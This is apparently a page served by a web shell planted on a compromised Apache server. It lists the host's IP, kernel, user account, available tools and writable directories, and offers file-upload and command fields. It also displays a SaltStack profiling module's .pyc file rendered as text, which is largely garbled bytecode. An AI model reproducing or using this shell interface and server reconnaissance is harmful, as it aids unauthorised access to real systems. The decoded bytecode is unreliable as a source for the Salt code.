403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/profile.cpython-310.pyc
o

;j��@s�dZddlZddlZddlZddlZddlZddlZddlZddl	Zddl
Ze�e�Z
zddlZdZWney>dZYnwddd�Zd
dd�Zdd
d�ZdS)z8
Decorator and functions to profile Salt using cProfile
�NTFcs�fdd�}|S)zE
    Decorator for adding profiling to a nested function in Salt
    cs��fdd�}|S)Ncslt�d�j�zt��}|j�g|�Ri|��}|��p!�j�d��W|Sty5t�d��Y|Sw)NzProfiling function %sz
_func.profilezCould not open profile file %s)	�logging�info�__name__�cProfile�ProfileZruncall�
dump_stats�OSError�	exception)�args�kwargsZprofiler�retval)�filename�fun��F/opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/profile.py�
profiled_func s��z5profile_func.<locals>.proffunc.<locals>.profiled_funcr)rr�r
)rr�proffuncszprofile_func.<locals>.proffuncr)r
rrrr�profile_funcsrcCs.d}|rtrt��}|��|St�d�|S)Nz*cProfile is not available on your platform)�HAS_CPROFILErr�enable�log�error)�test�prrrr�activate_profile0s
�r�
/tmp/statsc
Cs|dur�tr�z�|��tj�|�st�|�tj����}|dur)t	j
jjdd�}tj�
||�d|�d��}tj�
||�d|�d��}tj�
||�d|�d��}tj�|�s}|�|�t	j
j�|d��}tj||d��d	�Wd�n1sxwYt�d
|�t�d|�t	j
j�d�}	|	d
|d|g}
|	r�d}z
tj|
dtjtjd�}Wnty�d}Ynw|jr�d}|r�t�d�nt�d|�t�d�t�t	j
j� |j!�"���#�t	j
j� |j$�"���#��nt�d|
�W|s�|�%�|S|s�|�%�ww|S)N� )�size�.z.pstatsz.dotz.stats�w)�streamZ
cumulativezPROFILING: %s generatedz$PROFILING (cumulative): %s generatedZpyprof2calltreez-iz-oF)�shell�stdout�stderrTzPROFILING (dot problemzPROFILING (dot): %s generatedzpyprof2calltree output:z$You can run %s for additional stats.)&r�disable�os�path�isdir�makedirs�datetime�now�	isoformat�salt�utilsZ	hashutilsZrandom_hash�join�existsr�filesZfopen�pstatsZStatsZ
sort_statsrr�which�
subprocess�Popen�PIPEr�
returncoderZtraceZstringutilsZto_strr#�read�stripr$r)
rZ
stats_path�stopZid_�dateZficpZficoZficnZficZpyprof�cmdZfailedZprorrr�output_profile;sb

�
��
����
�r=)N)T)rFN)�__doc__r*rr&r2r4Zsalt.utils.filesr-Zsalt.utils.hashutilsZsalt.utils.pathZsalt.utils.stringutils�	getLoggerrrrr�ImportErrorrrr=rrrr�<module>s(
�



Youez - 2016 - github.com/yon3zu
LinuXploit